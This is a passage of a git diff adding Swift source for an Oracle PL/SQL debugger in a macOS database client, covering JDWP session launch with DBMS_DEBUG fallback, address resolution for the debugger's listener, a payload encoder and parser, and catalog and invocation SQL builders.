+extension OracleCoreConnection: OracleDebugChannel {}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugLauncher.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugLauncher.swift
new file mode 100644
index 0000000000..58f242c9eb
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugLauncher.swift
@@ -0,0 +1,263 @@
+import Foundation
+import os
+import OSLog
+
+private let logger = Logger(subsystem: "com.TablePro", category: "OracleDebugLauncher")
+
+public struct OracleDebugLaunch: Sendable {
+    public let entryPoint: OracleDebugEntryPoint
+    public let arguments: [String: OracleDebugArgumentValue]
+    public let breakpoints: [OracleDebugBreakpointRequest]
+    public let preference: OracleDebugProtocolPreference
+    public let debuggerHost: String
+    public let ports: ClosedRange<UInt16>
+    // The host the sessions dial, and any other name the server may connect back from (the server behind a tunnel).
+    public let databaseHost: String
+    public let databasePort: Int
+    public let otherDatabaseHosts: [String]
+    // Every overload of the entry point's subprogram, to refuse a call Oracle could not resolve.
+    public let overloads: [OracleDebugEntryPoint]
+    // How long the database gets to connect back before JDWP counts as unreachable.
+    public let connectTimeout: Duration
+
+    public init(
+        entryPoint: OracleDebugEntryPoint,
+        arguments: [String: OracleDebugArgumentValue],
+        breakpoints: [OracleDebugBreakpointRequest],
+        preference: OracleDebugProtocolPreference,
+        debuggerHost: String,
+        ports: ClosedRange<UInt16>,
+        databaseHost: String,
+        databasePort: Int,
+        otherDatabaseHosts: [String] = [],
+        overloads: [OracleDebugEntryPoint] = [],
+        connectTimeout: Duration = .seconds(15)
+    ) {
+        self.entryPoint = entryPoint
+        self.arguments = arguments
+        self.breakpoints = breakpoints
+        self.preference = preference
+        self.debuggerHost = debuggerHost
+        self.ports = ports
+        self.databaseHost = databaseHost
+        self.databasePort = databasePort
+        self.otherDatabaseHosts = otherDatabaseHosts
+        self.overloads = overloads
+        self.connectTimeout = connectTimeout
+    }
+}
+
+public struct OracleDebugBreakpointRequest: Sendable, Hashable {
+    public let unit: OracleDebugUnit
+    public let line: Int
+
+    public init(unit: OracleDebugUnit, line: Int) {
+        self.unit = unit
+        self.line = line
+    }
+}
+
+public enum OracleDebugLauncher {
+    // Two sessions either way: JDWP's target plus one that reads source, DBMS_DEBUG's target plus its supervisor.
+    // Cancelling the calling task ends whatever target exists, as Stop would, and throws CancellationError.
+    public static func launch(
+        _ launch: OracleDebugLaunch,
+        openSession: @escaping @Sendable () async throws -> OracleCoreConnection
+    ) async throws -> any OracleDebugEngine {
+        try Task.checkCancellation()
+        if OracleDebugProtocolDecision.initial(preference: launch.preference, host: launch.debuggerHost) == .fail {
+            throw OracleDebugError.jdwp(.noDebuggerHost)
+        }
+        switch OracleDebugStatements.ambiguity(of: launch.entryPoint, arguments: launch.arguments, overloads: launch.overloads) {
+        case .needsValue(let parameters):
+            throw OracleDebugError.ambiguousDefaults(subprogram: launch.entryPoint.entry.subprogram, parameters: parameters)
+        case .unresolvable:
+            throw OracleDebugError.ambiguousCall(subprogram: launch.entryPoint.entry.subprogram)
+        case nil:
+            break
+        }
+        let invocation: OracleDebugStatements.Invocation
+        do {
+            invocation = try OracleDebugStatements.invocation(of: launch.entryPoint, arguments: launch.arguments)
+        } catch OracleDebugStatements.InvocationError.unsupportedArgument(let name, let typeName) {
+            throw OracleDebugError.unsupportedArgument(name: name, typeName: typeName)
+        } catch OracleDebugStatements.InvocationError.undeclarableArgument(let name, let typeName) {
+            throw OracleDebugError.undeclarableArgument(name: name, typeName: typeName)
+        } catch OracleDebugStatements.InvocationError.undeclarableResult(let typeName) {
+            throw OracleDebugError.undeclarableArgument(name: launch.entryPoint.entry.subprogram, typeName: typeName)
+        }
+        let helper = try await reserved(openSession)
+        var target = try await reserved(openSession)
+        let breakpoints = launch.breakpoints.map { (unit: $0.unit, line: $0.line) }
+        var notices: [OracleDebugNotice] = []
+
+        switch OracleDebugProtocolDecision.initial(preference: launch.preference, host: launch.debuggerHost) {
+        case .dbmsDebug(let reason):
+            notices.append(.usingDBMSDebug(reason: reason))
+        default:
+            do {
+                let session = try await startJDWP(launch, invocation: invocation, target: target, helper: helper, breakpoints: breakpoints)
+                return try await keep(session)
+            } catch let failure as JDWPStartFailure {
+                switch OracleDebugProtocolDecision.afterJDWPFailure(failure.reason, preference: launch.preference) {
+                case .fallBack:
+                    logger.notice("JDWP did not connect; falling back to DBMS_DEBUG")
+                    notices.append(.fellBack(failure.reason, host: launch.debuggerHost, port: Int(failure.port ?? 0)))
+                    try Task.checkCancellation()
+                    if failure.endedTarget || !target.isConnected {
+                        target = try await reserved(openSession)
+                    }
+                default:
+                    throw OracleDebugError.jdwp(failure.reason)
+                }
+            }
+        }
+
+        let session = OracleDBMSDebugSession(
+            target: target,
+            supervisor: helper,
+            entryPoint: launch.entryPoint,
+            invocation: invocation,
+            notices: notices
+        )
+        do {
+            try await session.start(breakpoints: breakpoints)
+        } catch {
+            if Task.isCancelled {
+                _ = await session.stop()
+                throw CancellationError()
+            }
+            throw mapped(error)
+        }
+        return try await keep(session)
+    }
+
+    // A start the caller cancelled hands back no session, so the target ends here.
+    private static func keep(_ engine: any OracleDebugEngine) async throws -> any OracleDebugEngine {
+        guard Task.isCancelled else { return engine }
+        _ = await engine.stop()
+        throw CancellationError()
+    }
+
+    private static func reserved(_ openSession: @Sendable () async throws -> OracleCoreConnection) async throws -> OracleCoreConnection {
+        let connection = try await openSession()
+        connection.reserveForDebugging()
+        return connection
+    }
+
+    struct JDWPStartFailure: Error {
+        let reason: OracleJDWPFailure
+        let port: UInt16?
+        var endedTarget = false
+    }
+
+    // The addresses a connection back may come from: the server's own, and for a tunnel this Mac's loopback, where a
+    // remote forward the person set up arrives.
+    static func allowedPeers(for launch: OracleDebugLaunch) async -> Set<String> {
+        var allowed: Set<String> = []
+        for host in [launch.databaseHost] + launch.otherDatabaseHosts {
+            allowed.formUnion(await OracleDebugNetwork.resolvedAddresses(of: host))
+        }
+        return allowed
+    }
+
+    private static func startJDWP(
+        _ launch: OracleDebugLaunch,
+        invocation: OracleDebugStatements.Invocation,
+        target: OracleCoreConnection,
+        helper: OracleCoreConnection,
+        breakpoints: [(unit: OracleDebugUnit, line: Int)]
+    ) async throws -> OracleJDWPDebugSession {
+        let allowed = await allowedPeers(for: launch)
+        let bindAddresses = await OracleDebugNetwork.bindAddresses(
+            debuggerHost: launch.debuggerHost,
+            databaseHost: launch.databaseHost,
+            databasePort: launch.databasePort
+        )
+        let listener: OracleJDWPListener
+        do {
+            listener = try await OracleJDWPListener.open(ports: launch.ports, bindAddresses: bindAddresses, allowedPeers: allowed)
+        } catch {
+            throw JDWPStartFailure(reason: .noFreePort, port: nil)
+        }
+        let port = listener.port
+        let identity = await OracleDebugSupport.sessionIdentity(of: target)
+        let connectCall = Task { () -> Result<[String?], Error> in
+            do {
+                return .success(try await target.executeDirect(
+                    OracleDebugStatements.jdwpConnect,
+                    binds: [.text(launch.debuggerHost), .text(String(port))]
+                ))
+            } catch {
+                return .failure(error)
+            }
+        }
+        // A refused CONNECT_TCP ends the wait at once; one that hangs on an unreachable host is cut at the timeout.
+        let watcher = Task {
+            if case .failure = await connectCall.value { listener.cancel() }
+        }
+        defer { watcher.cancel() }
+        let connection: OracleJDWPConnection
+        do {
+            connection = try await listener.accept(timeout: launch.connectTimeout)
+        } catch {
+            listener.cancel()
+            let rejected = listener.rejectedPeers
+            if let result = await OracleDebugSupport.value(of: connectCall, within: 1), case .failure(let error) = result {
+                if Task.isCancelled { throw CancellationError() }
+                let reason = rejected.isEmpty
+                    ? OracleDebugStatements.jdwpFailure(fromMessage: message(of: error))
+                    : .unexpectedPeer(rejected)
+                throw JDWPStartFailure(reason: reason, port: port)
+            }
+            // The statement is still waiting on the network; closing the channel is the only way to end it.
+            target.cancelCurrentQuery()
+            _ = await OracleDebugSupport.value(of: connectCall, within: 5)
+            if Task.isCancelled { throw CancellationError() }
+            throw JDWPStartFailure(reason: rejected.isEmpty ? .timedOut : .unexpectedPeer(rejected), port: port, endedTarget: true)
+        }
+        let session = OracleJDWPDebugSession(
+            connection: connection,
+            target: target,
+            helper: helper,
+            entryPoint: launch.entryPoint,
+            invocation: invocation,
+            connectCall: connectCall,
+            targetIdentity: identity,
+            notices: [.connectedOverJDWP(host: launch.debuggerHost, port: Int(port))]
+        )
+        do {
+            try await session.start(breakpoints: breakpoints)
+        } catch {
+            // Closing the JDWP socket ends the target session.
+            _ = await session.stop()
+            if Task.isCancelled { throw CancellationError() }
+            if let failure = error as? OracleDebugError {
+                switch failure {
+                case .jdwp(let reason):
+                    throw JDWPStartFailure(reason: reason, port: port, endedTarget: true)
+                case .malformedReply, .debuggerStoppedAnswering, .ended:
+                    throw JDWPStartFailure(reason: .handshakeFailed, port: port, endedTarget: true)
+                default:
+                    break
+                }
+            }
+            throw JDWPStartFailure(reason: .other(message(of: error)), port: port, endedTarget: true)
+        }
+        return session
+    }
+
+    static func message(of error: Error) -> String {
+        OracleDebugSupport.message(of: error)
+    }
+
+    // ORA-01031 from INITIALIZE or CONNECT_TCP is the missing DEBUG CONNECT SESSION (measured).
+    static func mapped(_ error: Error) -> Error {
+        guard let core = error as? OracleCoreError, case .queryFailed(let message) = core else { return error }
+        let codes = OracleDebugStatements.errorCodes(in: message)
+        if codes.first == 1_031 {
+            return OracleDebugError.privilegeMissing(message)
+        }
+        return OracleDebugError.server(code: codes.first, message: message)
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugNetwork.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugNetwork.swift
new file mode 100644
index 0000000000..12cccb8cd6
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugNetwork.swift
@@ -0,0 +1,134 @@
+import Darwin
+import Foundation
+
+public enum OracleDebugNetwork {
+    // The address this Mac sends from to reach the database: a connected UDP socket picks the route and sends nothing.
+    // It is where a server on the same network can reach back; a NAT, VPN or container can still need another.
+    public static func localAddress(towardHost host: String, port: Int) async -> String? {
+        await withCheckedContinuation { continuation in
+            DispatchQueue.global(qos: .userInitiated).async {
+                continuation.resume(returning: resolveLocalAddress(towardHost: host, port: port))
+            }
+        }
+    }
+
+    // One spelling per address: no IPv6 zone, an IPv4-mapped IPv6 address as IPv4, lowercase hex.
+    public static func normalized(_ address: String) -> String {
+        var text = address.lowercased()
+        if let zone = text.firstIndex(of: "%") { text = String(text[..<zone]) }
+        if text.hasPrefix("[") && text.hasSuffix("]") { text = String(text.dropFirst().dropLast()) }
+        if text.hasPrefix("::ffff:"), text.dropFirst(7).contains(".") { text = String(text.dropFirst(7)) }
+        return text
+    }
+
+    // Every address `host` resolves to, numeric and normalized.
+    public static func resolvedAddresses(of host: String) async -> Set<String> {
+        await withCheckedContinuation { continuation in
+            DispatchQueue.global(qos: .userInitiated).async {
+                continuation.resume(returning: resolve(host))
+            }
+        }
+    }
+
+    static func resolve(_ host: String) -> Set<String> {
+        var hints = addrinfo()
+        hints.ai_socktype = SOCK_STREAM
+        hints.ai_family = AF_UNSPEC
+        var list: UnsafeMutablePointer<addrinfo>?
+        guard !host.isEmpty, getaddrinfo(host, nil, &hints, &list) == 0, let list else { return [] }
+        defer { freeaddrinfo(list) }
+        var addresses: Set<String> = []
+        var entry: UnsafeMutablePointer<addrinfo>? = list
+        while let current = entry {
+            if let address = numericHost(current.pointee.ai_addr, length: current.pointee.ai_addrlen) {
+                addresses.insert(normalized(address))
+            }
+            entry = current.pointee.ai_next
+        }
+        return addresses
+    }
+
+    public static func localInterfaceAddresses() -> Set<String> {
+        var list: UnsafeMutablePointer<ifaddrs>?
+        guard getifaddrs(&list) == 0, let list else { return [] }
+        defer { freeifaddrs(list) }
+        var addresses: Set<String> = []
+        var entry: UnsafeMutablePointer<ifaddrs>? = list
+        while let current = entry {
+            if let address = current.pointee.ifa_addr {
+                let family = Int32(address.pointee.sa_family)
+                if family == AF_INET || family == AF_INET6,
+                   let text = numericHost(address, length: socklen_t(address.pointee.sa_len)) {
+                    addresses.insert(normalized(text))
+                }
+            }
+            entry = current.pointee.ifa_next
+        }
+        return addresses
+    }
+
+    // The local addresses the listener binds: the Debugger Host when it names this Mac, else the address this Mac
+    // reaches the database from, which is where a server on that network connects back to. A loopback route binds
+    // 127.0.0.1: `localhost` resolves to ::1 first, but Docker Desktop delivers a container's connection on
+    // 127.0.0.1 (measured), and Network.framework refuses ::1 on a port 127.0.0.1 holds (EADDRINUSE, measured), so
+    // the two cannot share the one port CONNECT_TCP is given. Nil listens everywhere.
+    public static func bindAddresses(debuggerHost: String, databaseHost: String, databasePort: Int) async -> [String]? {
+        let local = localInterfaceAddresses()
+        let named = await resolvedAddresses(of: debuggerHost).filter { local.contains($0) }
+        if named.contains("127.0.0.1") {
+            return ["127.0.0.1"]
+        }
+        if let match = named.min() {
+            return [match]
+        }
+        guard let route = await localAddress(towardHost: databaseHost, port: databasePort).map(normalized) else { return nil }
+        return isLoopback(route) ? ["127.0.0.1"] : [route]
+    }
+
+    public static func isLoopback(_ address: String) -> Bool {
+        let text = normalized(address)
+        return text == "::1" || text.hasPrefix("127.")
+    }
+
+    static func numericHost(_ address: UnsafePointer<sockaddr>, length: socklen_t) -> String? {
+        var buffer = [CChar](repeating: 0, count: Int(NI_MAXHOST))
+        guard getnameinfo(address, length, &buffer, socklen_t(buffer.count), nil, 0, NI_NUMERICHOST) == 0 else { return nil }
+        let bytes = buffer.prefix { $0 != 0 }.map { UInt8(bitPattern: $0) }
+        return String(bytes: bytes, encoding: .utf8)
+    }
+
+    static func resolveLocalAddress(towardHost host: String, port: Int) -> String? {
+        var hints = addrinfo()
+        hints.ai_socktype = SOCK_DGRAM
+        hints.ai_family = AF_UNSPEC
+        var list: UnsafeMutablePointer<addrinfo>?
+        guard getaddrinfo(host, String(port), &hints, &list) == 0, let list else { return nil }
+        defer { freeaddrinfo(list) }
+        var entry: UnsafeMutablePointer<addrinfo>? = list
+        while let current = entry {
+            defer { entry = current.pointee.ai_next }
+            let socketDescriptor = socket(current.pointee.ai_family, SOCK_DGRAM, IPPROTO_UDP)
+            guard socketDescriptor >= 0 else { continue }
+            defer { close(socketDescriptor) }
+            guard connect(socketDescriptor, current.pointee.ai_addr, current.pointee.ai_addrlen) == 0 else { continue }
+            var storage = sockaddr_storage()
+            var length = socklen_t(MemoryLayout<sockaddr_storage>.size)
+            let named = withUnsafeMutablePointer(to: &storage) { pointer in
+                pointer.withMemoryRebound(to: sockaddr.self, capacity: 1) { getsockname(socketDescriptor, $0, &length) }
+            }
+            guard named == 0 else { continue }
+            var buffer = [CChar](repeating: 0, count: Int(NI_MAXHOST))
+            let printed = withUnsafePointer(to: &storage) { pointer in
+                pointer.withMemoryRebound(to: sockaddr.self, capacity: 1) {
+                    getnameinfo($0, length, &buffer, socklen_t(buffer.count), nil, 0, NI_NUMERICHOST)
+                }
+            }
+            guard printed == 0 else { continue }
+            let bytes = buffer.prefix { $0 != 0 }.map { UInt8(bitPattern: $0) }
+            guard let address = String(bytes: bytes, encoding: .utf8) else { continue }
+            // An IPv6 link-local address carries its interface after `%`, which the server has no use for.
+            return address.split(separator: "%").first.map(String.init) ?? address
+        }
+        return nil
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugPayload.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugPayload.swift
new file mode 100644
index 0000000000..ab03ec7437
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugPayload.swift
@@ -0,0 +1,108 @@
+import Foundation
+
+// What a debug block hands back: fields written as `<length>:<text>`, or `~` for NULL, read through a cursor of
+// pieces. Out binds cap a VARCHAR2 at 4000 bytes, and a SQL VARCHAR2 over 4000 bytes fails the fetch with ORA-00910
+// (OracleServerOutput), so the block gathers the fields into a CLOB and the cursor reads it 990 characters at a time.
+public enum OracleDebugPayload {
+    public static let cursorBindName = "rows"
+    static let pieceLength = 990
+    // A field longer than this is cut, so `length:text` stays inside one VARCHAR2(32767) at four bytes a character.
+    public static let fieldLimit = 8_000
+
+    public enum ParseError: Error, Sendable, Equatable {
+        case malformed(offset: Int)
+    }
+
+    public static let declarations = """
+          l_out CLOB;
+          l_chunk VARCHAR2(32767);
+          PROCEDURE put(p VARCHAR2) IS
+            l_piece VARCHAR2(32767);
+          BEGIN
+            IF p IS NULL THEN
+              l_piece := '~';
+            ELSE
+              l_piece := LENGTH(SUBSTR(p, 1, \(fieldLimit))) || ':' || SUBSTR(p, 1, \(fieldLimit));
+            END IF;
+            IF NVL(LENGTHB(l_chunk), 0) + LENGTHB(l_piece) > 32000 THEN
+              l_out := l_out || l_chunk;
+              l_chunk := NULL;
+            END IF;
+            l_chunk := l_chunk || l_piece;
+          END;
+        """
+
+    public static let openCursor = """
+          IF l_chunk IS NOT NULL THEN
+            l_out := l_out || l_chunk;
+          END IF;
+          OPEN :\(cursorBindName) FOR
+            SELECT TO_CHAR(SUBSTR(l_out, (LEVEL - 1) * \(pieceLength) + 1, \(pieceLength)))
+            FROM SYS.DUAL
+            CONNECT BY LEVEL <= GREATEST(CEIL(NVL(LENGTH(l_out), 0) / \(pieceLength)), 1);
+        """
+
+    public static func join(pieces: [String?]) -> String {
+        pieces.map { $0 ?? "" }.joined()
+    }
+
+    // Lengths count characters as Oracle's LENGTH does in AL32UTF8, one per Unicode scalar.
+    public static func parse(_ text: String) throws -> [String?] {
+        let scalars = Array(text.unicodeScalars)
+        var fields: [String?] = []
+        var position = 0
+        while position < scalars.count {
+            if scalars[position] == "~" {
+                fields.append(nil)
+                position += 1
+                continue
+            }
+            var length = 0
+            var digits = 0
+            // A field never exceeds `fieldLimit`, so more than nine digits is not a length this side wrote.
+            while position < scalars.count, (48...57).contains(scalars[position].value) {
+                guard digits < 9 else { throw ParseError.malformed(offset: position) }
+                length = length * 10 + Int(scalars[position].value - 48)
+                digits += 1
+                position += 1
+            }
+            guard digits > 0, position < scalars.count, scalars[position] == ":" else {
+                throw ParseError.malformed(offset: position)
+            }
+            position += 1
+            guard length <= scalars.count - position else { throw ParseError.malformed(offset: position) }
+            var field = String.UnicodeScalarView()
+            field.append(contentsOf: scalars[position..<position + length])
+            fields.append(String(field))
+            position += length
+        }
+        return fields
+    }
+
+    // The Swift side of `put`, for tests and for building expected payloads.
+    public static func encode(_ fields: [String?]) -> String {
+        fields.map { field in
+            guard let field else { return "~" }
+            return "\(field.unicodeScalars.count):\(field)"
+        }.joined()
+    }
+}
+
+struct OracleDebugPayloadReader {
+    private var fields: ArraySlice<String?>
+
+    init(_ fields: [String?]) {
+        self.fields = fields[...]
+    }
+
+    var isAtEnd: Bool { fields.isEmpty }
+
+    mutating func next() throws -> String? {
+        guard let field = fields.popFirst() else { throw OracleDebugError.unreadableAnswer }
+        return field
+    }
+
+    mutating func int() throws -> Int? {
+        try next().flatMap { Int($0.trimmingCharacters(in: .whitespaces)) }
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStatements.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStatements.swift
new file mode 100644
index 0000000000..3daf338180
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStatements.swift
@@ -0,0 +1,665 @@
+import Foundation
+
+public enum OracleDebugStatements {
+    // MARK: - Catalog
+
+    public static func targets(owner: String) -> String {
+        """
+        SELECT OBJECT_NAME, OBJECT_TYPE
+        FROM SYS.ALL_OBJECTS
+        WHERE OWNER = \(OracleDebugUnit.literal(owner))
+          AND OBJECT_TYPE IN ('PROCEDURE', 'FUNCTION', 'PACKAGE BODY')
+        ORDER BY OBJECT_TYPE, OBJECT_NAME
+        """
+    }
+
+    // Debug information exists when the unit was compiled with PLSQL_DEBUG or at PLSQL_OPTIMIZE_LEVEL 1 or lower.
+    // At level 2 SET_BREAKPOINT still answers success and never fires (measured).
+    public static func readiness(of unit: OracleDebugUnit) -> String {
+        """
+        SELECT PLSQL_OPTIMIZE_LEVEL, PLSQL_DEBUG
+        FROM SYS.ALL_PLSQL_OBJECT_SETTINGS
+        WHERE OWNER = \(OracleDebugUnit.literal(unit.owner))
+          AND NAME = \(OracleDebugUnit.literal(unit.name))
+          AND TYPE = \(OracleDebugUnit.literal(unit.codeUnit.kind.rawValue))
+        """
+    }
+
+    public enum Readiness: Sendable, Equatable {
+        case ready
+        case needsDebugCompile
+        case notVisible
+    }
+
+    public static func readiness(fromRow row: [String?]?) -> Readiness {
+        guard let row else { return .notVisible }
+        let level = row.first.flatMap { $0 }.flatMap { Int($0.trimmingCharacters(in: .whitespaces)) }
+        let debug = (row.count > 1 ? row[1] : nil)?.uppercased() == "TRUE"
+        if debug { return .ready }
+        if let level, level <= 1 { return .ready }
+        return .needsDebugCompile
+    }
+
+    public static func privileges(of unit: OracleDebugUnit) -> String {
+        """
+        SELECT SYS_CONTEXT('USERENV', 'SESSION_USER'),
+          (SELECT COUNT(*) FROM SYS.SESSION_PRIVS WHERE PRIVILEGE = 'DEBUG CONNECT SESSION'),
+          (SELECT COUNT(*) FROM SYS.SESSION_PRIVS WHERE PRIVILEGE = 'DEBUG ANY PROCEDURE'),
+          (SELECT COUNT(*) FROM SYS.ALL_TAB_PRIVS
+            WHERE TABLE_SCHEMA = \(OracleDebugUnit.literal(unit.owner))
+              AND TABLE_NAME = \(OracleDebugUnit.literal(unit.name))
+              AND PRIVILEGE = 'DEBUG')
+        FROM SYS.DUAL
+        """
+    }
+
+    public enum MissingPrivilege: Sendable, Equatable {
+        case debugConnectSession(user: String)
+        case debugOnObject(user: String)
+    }
+
+    public static func missingPrivilege(fromRow row: [String?], unit: OracleDebugUnit) -> MissingPrivilege? {
+        func count(_ index: Int) -> Int {
+            (row.count > index ? row[index] : nil).flatMap { Int($0.trimmingCharacters(in: .whitespaces)) } ?? 0
+        }
+        let user = (row.first ?? nil) ?? ""
+        if count(1) == 0 { return .debugConnectSession(user: user) }
+        if unit.owner != user, count(2) == 0, count(3) == 0 { return .debugOnObject(user: user) }
+        return nil
+    }
+
+    // One row per public subprogram and argument; a subprogram without arguments comes back once with NULLs.
+    public static func entryPoints(of unit: OracleDebugUnit) -> String {
+        let owner = OracleDebugUnit.literal(unit.owner)
+        let name = OracleDebugUnit.literal(unit.name)
+        let subprograms: String
+        if unit.kind.hasSubprograms {
+            subprograms = "p.OBJECT_TYPE = 'PACKAGE' AND p.PROCEDURE_NAME IS NOT NULL"
+        } else {
+            subprograms = "p.OBJECT_TYPE IN ('PROCEDURE', 'FUNCTION') AND p.PROCEDURE_NAME IS NULL"
+        }
+        return """
+            SELECT NVL(p.PROCEDURE_NAME, p.OBJECT_NAME), p.SUBPROGRAM_ID, p.OVERLOAD,
+                   a.POSITION, a.ARGUMENT_NAME, a.DATA_TYPE, a.IN_OUT, a.DEFAULTED,
+                   a.TYPE_OWNER, a.TYPE_NAME, a.TYPE_SUBNAME, a.PLS_TYPE
+            FROM SYS.ALL_PROCEDURES p
+            LEFT JOIN SYS.ALL_ARGUMENTS a
+              ON a.OBJECT_ID = p.OBJECT_ID AND a.SUBPROGRAM_ID = p.SUBPROGRAM_ID AND a.DATA_LEVEL = 0
+            WHERE p.OWNER = \(owner) AND p.OBJECT_NAME = \(name) AND \(subprograms)
+            ORDER BY p.SUBPROGRAM_ID, a.SEQUENCE
+            """
+    }
+
+    public static func parseEntryPoints(rows: [[String?]], unit: OracleDebugUnit) -> [OracleDebugEntryPoint] {
+        var order: [Int] = []
+        var byID: [Int: (name: String, overload: String?, parameters: [OracleDebugParameter], result: OracleDebugParameter?)] = [:]
+        for row in rows {
+            func cell(_ index: Int) -> String? { row.count > index ? row[index] : nil }
+            guard let name = cell(0), let subprogramID = cell(1).flatMap({ Int($0.trimmingCharacters(in: .whitespaces)) })
+            else { continue }
+            if byID[subprogramID] == nil {
+                order.append(subprogramID)
+                byID[subprogramID] = (name, cell(2), [], nil)
+            }
+            guard let dataType = cell(5), !dataType.isEmpty else { continue }
+            let parameter = OracleDebugParameter(
+                name: cell(4) ?? "",
+                position: cell(3).flatMap { Int($0.trimmingCharacters(in: .whitespaces)) } ?? 0,
+                dataType: dataType,
+                mode: OracleDebugParameter.Mode(inOut: cell(6)),
+                hasDefault: cell(7)?.uppercased() == "Y",
+                typeOwner: cell(8),
+                typeName: cell(9),
+                typeSubname: cell(10),
+                plsType: cell(11)
+            )
+            if parameter.position == 0, cell(4) == nil {
+                byID[subprogramID]?.result = parameter
+            } else {
+                byID[subprogramID]?.parameters.append(parameter)
+            }
+        }
+        return order.compactMap { id in
+            guard let entry = byID[id] else { return nil }
+            return OracleDebugEntryPoint(
+                entry: OracleDebugEntry(unit: unit.codeUnit, subprogram: entry.name, subprogramID: id),
+                overload: entry.overload,
+                parameters: entry.parameters,
+                result: entry.result
+            )
+        }
+    }
+
+    public static func source(of unit: OracleDebugUnit) -> String {
+        """
+        SELECT LINE, TEXT
+        FROM SYS.ALL_SOURCE
+        WHERE OWNER = \(OracleDebugUnit.literal(unit.owner))
+          AND NAME = \(OracleDebugUnit.literal(unit.name))
+          AND TYPE = \(OracleDebugUnit.literal(unit.kind.rawValue))
+        ORDER BY LINE
+        """
+    }
+
+    // Lines stay where ALL_SOURCE numbers them, because both debug interfaces report those numbers.
+    public static func assembleSource(rows: [(line: Int, text: String?)]) -> String {
+        var lines: [String] = []
+        for row in rows.sorted(by: { $0.line < $1.line }) where row.line >= 1 {
+            while lines.count < row.line - 1 {
+                lines.append("")
+            }
+            var text = row.text ?? ""
+            // "\r\n" is one Character, so dropping the last Character removes either ending whole.
+            if text.last?.isNewline == true {
+                text.removeLast()
+            }
+            if lines.count == row.line - 1 {
+                lines.append(text)
+            } else {
+                lines[row.line - 1] += text
+            }
+        }
+        return lines.joined(separator: "\n")
+    }
+
+    // MARK: - JDWP
+
+    // Through EXECUTE IMMEDIATE of a CALL, so `SYS` resolves at SQL level and a package named SYS in the session's
+    // schema cannot capture it (OracleServerOutput explains the measurement).
+    public static let jdwpConnect = """
+        BEGIN
+          EXECUTE IMMEDIATE 'CALL SYS.DBMS_DEBUG_JDWP.CONNECT_TCP(:1, :2)' USING :1, :2;
+        END;
+        """
+
+    // "4000-4999" or "4000": a range, as the DBA's ACE grants one. A list is refused rather than read as the range
+    // between its first two ports, which would pick ports the ACE does not cover. SQL Developer's default is 4000-4999.
+    public static func ports(from text: String) -> ClosedRange<UInt16>? {
+        let parts = text.split(separator: "-", omittingEmptySubsequences: false)
+            .map { $0.trimmingCharacters(in: .whitespaces) }
+        guard (1...2).contains(parts.count) else { return nil }
+        let numbers = parts.compactMap { UInt16($0) }
+        guard numbers.count == parts.count, let low = numbers.first, low > 0 else { return nil }
+        let high = numbers.last ?? low
+        guard high >= low else { return nil }
+        return low...high
+    }
+
+    public static let defaultPorts = "4000-4999"
+
+    // MARK: - Errors
+
+    // Every ORA- code in a server message, in order; the first is the error, the rest its stack.
+    public static func errorCodes(in message: String) -> [Int] {
+        var codes: [Int] = []
+        var remainder = Substring(message)
+        while let range = remainder.range(of: "ORA-") {
+            let digits = remainder[range.upperBound...].prefix { $0.isNumber }
+            if let code = Int(digits) { codes.append(code) }
+            remainder = remainder[range.upperBound...]
+        }
+        return codes
+    }
+
+    public static func jdwpFailure(fromMessage message: String) -> OracleJDWPFailure {
+        let codes = errorCodes(in: message)
+        let upper = message.uppercased()
+        if codes.contains(24_247) { return .accessControlList }
+        if codes.contains(1_031) { return .missingPrivilege }
+        if codes.contains(30_683) || codes.contains(30_698) || codes.contains(30_681) || codes.contains(30_682) {
+            return .unreachable(message)
+        }
+        // Autonomous AI Database lists the package as unavailable; the CALL then cannot resolve it.
+        if upper.contains("DBMS_DEBUG_JDWP"), codes.contains(where: { [6_576, 904, 6_550, 4_067, 6_508, 942].contains($0) }) {
+            return .packageUnavailable
+        }
+        if codes.contains(6_576) || codes.contains(904) { return .packageUnavailable }
+        return .other(message)
+    }
+
+    // MARK: - Invocation
+
+    public struct Invocation: Sendable, Equatable {
+        public let block: String
+        public let binds: [OracleBindValue]
+    }
+
+    public enum InvocationError: Error, Sendable, Equatable {
+        // Text cannot become a value of this type; NULL or the default still can.
+        case unsupportedArgument(name: String, typeName: String)
+        // No local of this type can be declared, so not even NULL can be passed.
+        case undeclarableArgument(name: String, typeName: String)
+        case undeclarableResult(typeName: String)
+    }
+
+    // Runs the entry point and reports, through the payload: `S` or `F`, the error text, the number of outputs, each
+    // output's name and value, then every DBMS_OUTPUT line. A failure is caught so the routine's output survives it;
+    // the caller rolls back.
+    public static func invocation(
+        of entryPoint: OracleDebugEntryPoint,
+        arguments: [String: OracleDebugArgumentValue],
+        maxOutputLines: Int = 10_000
+    ) throws -> Invocation {
+        var declarations: [String] = []
+        var prologue: [String] = []
+        var callArguments: [String] = []
+        var outputs: [(name: String, expression: String)] = []
+        var binds: [OracleBindValue] = []
+
+        func bind(_ value: String) -> String {
+            binds.append(.text(value))
+            return ":\(binds.count)"
+        }
+
+        for (index, parameter) in entryPoint.parameters.enumerated() {
+            let value = arguments[parameter.name] ?? (parameter.hasDefault ? .defaultValue : .null)
+            if parameter.mode == .input, value == .defaultValue, parameter.hasDefault {
+                continue
+            }
+            // Every argument is a local of the parameter's own type, NULL included: Oracle picks an overload by the
+            // types it is given, and a bare NULL or a text bind matches more than one.
+            guard let declaration = parameter.declaration else {
+                throw InvocationError.undeclarableArgument(name: parameter.name, typeName: parameter.displayType)
+            }
+            let local = "l_arg\(index + 1)"
+            declarations.append("  \(local) \(declaration);")
+            if parameter.mode != .output, case .text(let text) = value {
+                guard let expression = parameter.inputExpression(bindReference: bind(text)) else {
